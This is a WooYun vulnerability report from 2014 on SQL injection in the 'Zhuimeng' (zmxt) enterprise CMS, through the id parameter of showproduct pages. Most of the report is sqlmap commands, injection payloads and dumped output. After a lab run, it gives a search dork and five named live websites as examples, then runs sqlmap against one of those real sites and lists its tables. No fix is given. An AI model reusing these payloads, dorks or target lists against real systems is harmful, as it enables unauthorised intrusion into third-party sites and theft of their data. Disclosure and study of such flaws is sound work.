漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-078456
漏洞标题:通用型企业建站程序之追梦CMS注入6
相关厂商:zmxt企业建站系统
漏洞作者: ra0mb1er
提交时间:2014-10-13 15:28
修复时间:2015-01-11 15:30
公开时间:2015-01-11 15:30
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-10-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-01-11: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
啪啪啪啪
详细说明:
漏洞文件 Inc/productcontent.asp 1-20
showproduct/index.asp 对文件进行调用导致注入
漏洞证明:
J:\sqlmap>python sqlmap.py -u "http://192.168.56.130:8081/showproduct/?pone=40&i
d=43" --tables --dbms=access
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20140918}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:18:18
[14:18:18] [INFO] testing connection to the target URL
[14:18:18] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[14:18:19] [INFO] target URL is stable
[14:18:19] [INFO] testing if GET parameter 'pone' is dynamic
[14:18:19] [WARNING] GET parameter 'pone' does not appear dynamic
[14:18:19] [WARNING] heuristic (basic) test shows that GET parameter 'pone' migh
t not be injectable
[14:18:19] [INFO] testing for SQL injection on GET parameter 'pone'
do you want to include all tests for 'Microsoft Access' extending provided level
(1) and risk (1)? [Y/n]
[14:18:21] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:18:22] [INFO] testing 'Microsoft Access boolean-based blind - Parameter repl
ace (original value)'
[14:18:22] [INFO] testing 'Microsoft Access boolean-based blind - GROUP BY and O
RDER BY clauses'
[14:18:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:18:28] [WARNING] GET parameter 'pone' is not injectable
[14:18:28] [INFO] testing if GET parameter 'id' is dynamic
[14:18:28] [WARNING] GET parameter 'id' does not appear dynamic
[14:18:28] [WARNING] heuristic (basic) test shows that GET parameter 'id' might
not be injectable
[14:18:28] [INFO] testing for SQL injection on GET parameter 'id'
[14:18:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:18:29] [WARNING] reflective value(s) found and filtering out
[14:18:29] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHER
E or HAVING clause' injectable (with --string="\u4ea7\u54c1\u7f16\u53f7\uff1a681
22116")
[14:18:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:18:29] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[14:18:29] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[14:18:30] [INFO] target URL appears to have 29 columns in query
[14:18:32] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 co
lumns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N]
sqlmap identified the following injection points with a total of 144 HTTP(s) req
uests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pone=40&id=43 AND 3232=3232
Type: UNION query
Title: Generic UNION query (NULL) - 29 columns
Payload: pone=40&id=-4863 UNION ALL SELECT NULL,CHR(113)&CHR(118)&CHR(104)&C
HR(103)&CHR(113)&CHR(71)&CHR(105)&CHR(108)&CHR(90)&CHR(99)&CHR(102)&CHR(88)&CHR(
106)&CHR(88)&CHR(104)&CHR(113)&CHR(117)&CHR(118)&CHR(108)&CHR(113),NULL,NULL,NUL
L,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NUL
L,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
[14:18:34] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[14:18:34] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[14:18:34] [INFO] the SQL query used returns 58 entries
Database: Microsoft_Access_masterdb
[1 table]
+-------------+
| MSysObjects |
+-------------+
[14:18:40] [INFO] fetched data logged to text files under 'C:\Users\c\.sqlmap\ou
tput\192.168.56.130'
[*] shutting down at 14:18:40
J:\sqlmap>
示例网站
inurl:"al.asp?pone"
http://www.ahgzc.com/
http://www.qqlqq.com/
http://www.it8088.com/
http://www.whhnt.com
http://www.hyzlch.com/
J:\sqlmap>python sqlmap.py -u "http://www.it8088.com/showproduct/?pone=45&ID=60"
--cookie --dbms=Access --tables
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20140918}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:08:08
[22:08:08] [INFO] resuming back-end DBMS 'microsoft access'
[22:08:08] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: ID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pone=45&ID=60 AND 5486=5486
---
[22:08:08] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows
web application technology: ASP
back-end DBMS: Microsoft Access
[22:08:08] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[22:08:08] [INFO] fetching number of tables for database 'Microsoft_Access_maste
rdb'
[22:08:08] [INFO] resumed: 58
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
[22:08:08] [INFO] resumed: ad
Database: Microsoft_Access_masterdb
[1 table]
+----+
| ad |
+----+
[22:08:08] [INFO] fetched data logged to text files under 'C:\Users\c\.sqlmap\ou
tput\www.it8088.com'
[*] shutting down at 22:08:08
J:\sqlmap>
修复方案:
版权声明:转载请注明来源 ra0mb1er@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝